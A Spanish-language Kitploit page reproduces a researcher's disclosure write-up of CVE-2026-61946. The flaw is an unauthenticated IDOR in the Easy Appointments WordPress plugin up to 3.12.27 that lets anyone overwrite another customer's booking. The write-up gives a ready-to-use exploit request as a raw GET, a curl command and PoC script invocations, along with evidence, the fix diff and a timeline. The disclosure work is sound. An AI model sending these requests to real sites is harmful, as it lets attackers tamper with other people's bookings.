Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-61946-Easy-Appointments-IDOR — CVE-2026-61946: IDOR no autenticado en Easy Appointments <= 3.12.27 | Kitploit
Herramientas/GitHubGitHub/rat5ak/cve-2026-61946-easy-appointments-idor
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubrat5ak/cve-2026-61946-easy-appointments-idor

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946: IDOR no autenticado en Easy Appointments <= 3.12.27

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 26 díasAún no revisado

CVE-2026-61946: El ID de una cita que conduce a la reserva de otra persona

Encontré una referencia directa a objetos insegura sin autenticación en el plugin Easy Appointments de WordPress. El endpoint público de reservas aceptaba un id de la cadena de consulta y pasaba los datos resultantes a la ruta replace() de la base de datos del plugin.

Eso significaba que una nueva solicitud de reserva pública podía convertirse en una actualización de una fila de cita existente. No se requería inicio de sesión, cookies ni una cuenta de WordPress. Proporciónale la clave primaria de otra cita, elige un hueco realmente abierto, y el plugin sobrescribía esa reserva con los datos de cliente y cita controlados por el atacante.

CVECVE-2026-61946
PluginEasy Appointments
Slugeasy-appointments
Afectadas<= 3.12.27
Corregida3.12.28
Clase de vulnerabilidadIDOR sin autenticación / clave primaria controlada por el usuario (CWE-639)
ImpactoSobrescritura arbitraria de citas existentes
CVSS6.5 Media (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L)
CréditoDaniel Wade
Patchstack PSID4f9c506f9f90

TL;DR

El endpoint público aceptaba una solicitud con esta forma:

root@kitploit:~
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example

El id=2 no se trataba como una identidad de objeto no confiable. En las versiones afectadas, superaba el filtrado de entrada y llegaba a la ruta de reemplazo de la base de datos. Si la fila 2 ya pertenecía a otro cliente, la solicitud pública actualizaba esa fila en lugar de crear una nueva.

root@kitploit:~
Antes:   id=2 | Jane Victim  | [email protected]  | confirmado  | $50.00
Después: id=2 | ATTACKER     | [email protected]    | reserva     | $50.00

El Bug

Easy Appointments expone el manejador de reservas a visitantes no autenticados:

root@kitploit:~
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));

Eso es lo esperado en un formulario de reservas público. El bug de autorización consistía en confiar en la clave de objeto del llamante dentro de ese manejador público.

El flujo vulnerable era:

root@kitploit:~
GET sin autenticación
    -> action=ea_res_appointment
    -> $_GET['id']
    -> permitido a través de la lista de campos de reserva
    -> models->replace('ea_appointments', $data, true)
    -> fila de cita existente seleccionada por clave primaria
    -> reserva de la víctima sobrescrita

Las comprobaciones de nonce y CAPTCHA no establecían la propiedad del ID de cita suministrado. Además, estaban deshabilitadas por defecto en la configuración que probé, por lo que la solicitud no requería ningún estado de sesión.

El endpoint sí realizaba una comprobación de disponibilidad. Eso no solucionaba el problema de autorización de objetos; solo significaba que el atacante tenía que elegir una ubicación, un servicio, un trabajador y una fecha válidos, además de un horario actualmente abierto.

Cómo reproducirlo

Necesitas:

root@kitploit:~
1. Un laboratorio WordPress desechable con Easy Appointments <= 3.12.27
2. El ID de una cita de laboratorio que hayas creado para las pruebas
3. IDs válidos de ubicación, servicio y trabajador del formulario público
4. Un horario que esté actualmente abierto

Después ejecuta cualquiera de los dos PoC con ambos interruptores de seguridad. Sin --execute / -Execute, los scripts solo imprimen la solicitud que enviarían.

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 `
  -Target "http://127.0.0.1" `
  -AppointmentId 2 `
  -Location 1 `
  -Service 1 `
  -Worker 1 `
  -Date "2026-04-09" `
  -Start "15:00" `
  -AuthorizedLab `
  -Execute

Bash:

root@kitploit:~
./poc/reproduce.sh \
  --target "http://127.0.0.1" \
  --id 2 \
  --location 1 \
  --service 1 \
  --worker 1 \
  --date "2026-04-09" \
  --start "15:00" \
  --authorized-lab \
  --execute

curl manual:

root@kitploit:~
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
  --data-urlencode "action=ea_res_appointment" \
  --data-urlencode "id=2" \
  --data-urlencode "location=1" \
  --data-urlencode "service=1" \
  --data-urlencode "worker=1" \
  --data-urlencode "date=2026-04-09" \
  --data-urlencode "start=15:00" \
  --data-urlencode "name=ATTACKER" \
  --data-urlencode "[email protected]" \
  --data-urlencode "phone=666" \
  --data-urlencode "description=PWNED"

No intervienen cabeceras de autenticación ni cookies.

Evidencia

Reproduje el problema en:

root@kitploit:~
WordPress 6.9.4
Easy Appointments 3.12.23.1
Solicitud sin autenticación
Sin cookies
Nonce deshabilitado
CAPTCHA deshabilitado

La prueba utilizó una fila de cita existente propiedad de una cuenta de víctima de laboratorio:

root@kitploit:~
id=2
name=Jane Victim
[email protected]
status=confirmado
price=$50.00

Tras la solicitud de reserva pública, la misma clave primaria contenía:

root@kitploit:~
id=2
name=ATTACKER
[email protected]
status=reserva
price=$50.00

Que la clave primaria y el precio permanecieran sin cambios dejaba claro el comportamiento de actualización: no se trataba de una segunda reserva que casualmente se parecía a la primera, sino de la fila existente siendo reemplazada.

Una copia de la prueba de antes/después está en evidence/sample-before-after.txt.

Impacto

Un atacante sin autenticar que conozca o adivine un ID de cita puede corromper los datos del cliente y de programación de esa reserva. Dependiendo del flujo de trabajo del sitio, eso puede incluir cambiar:

root@kitploit:~
nombre y correo electrónico del cliente
número de teléfono
descripción de la cita
ubicación, servicio y trabajador asignado
fecha y hora de inicio
estado de la reserva generado por el flujo público

El resultado práctico es una manipulación silenciosa de las reservas: las citas legítimas pueden redirigirse, desplazarse, vandalizarse o volverse operativamente inútiles. El formulario público expone los valores de programación válidos necesarios para construir la solicitud.

La puntuación oficial es 6.5 Media:

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

La corrección

El cambio relevante para la seguridad en la versión 3.12.28 es maravillosamente contundente:

root@kitploit:~
 foreach ($data as $key => $rem) {
     if (!in_array($key, $dont_remove)) unset($data[$key]);
 }
+
+unset($data['id']);
+$data['id'] = null;
 unset($data['action']);

El flujo público de reservas ya no puede elegir la clave primaria del objeto de la base de datos. La solicitud se ve forzada a seguir la ruta del nuevo registro, en lugar de permitírsele reemplazar una cita existente arbitraria.

El mismo commit de seguridad también corrigió la lógica de la opción de nonce. Eso es una defensa en profundidad útil, pero la validación del nonce por sí sola no sería una comprobación de propiedad para un ID de cita proporcionado por el atacante. Eliminar la clave controlada por el cliente es la corrección directa del IDOR.

El parche extraído está en patch/fix.diff.

Estructura del repositorio

root@kitploit:~
poc/
    reproduce.ps1             # Reproducción de laboratorio en PowerShell
    reproduce.sh              # Reproducción de laboratorio en Bash/curl
evidence/
    sample-before-after.txt    # Prueba saneada del reemplazo de la fila
patch/
    fix.diff                   # Diff upstream relevante para la seguridad
README.md

Cronología

FechaEvento
2026-04-03Reportado a Patchstack
2026-07-07Parche validado
2026-07-16Patchstack publicó la entrada de la vulnerabilidad
2026-07-23CVE-2026-61946 publicado

Recursos

  • Aviso de Patchstack: https://patchstack.com/database/wordpress/plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-27-insecure-direct-object-references-idor-vulnerability
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-61946
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-61946
  • Plugin de WordPress: https://wordpress.org/plugins/easy-appointments/
  • Código fuente upstream: https://github.com/ahmedkaludi/easy-appointments
  • Commit del fix de seguridad: https://github.com/ahmedkaludi/easy-appointments/commit/f3464999ba3723046bd6e13d032122c196dd9768
  • Etiqueta vulnerable: https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.27/
  • Etiqueta corregida: https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.28/

Aviso legal: Este PoC se publica con fines de investigación defensiva y verificación después de la disponibilidad del parche. No lo utilices contra sistemas que no poseas o para los que no tengas autorización explícita para realizar pruebas.

CVE-2026-61946 - Corregido en Easy Appointments 3.12.28. Afectadas: 3.12.27 y anteriores.

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

Descargar herramienta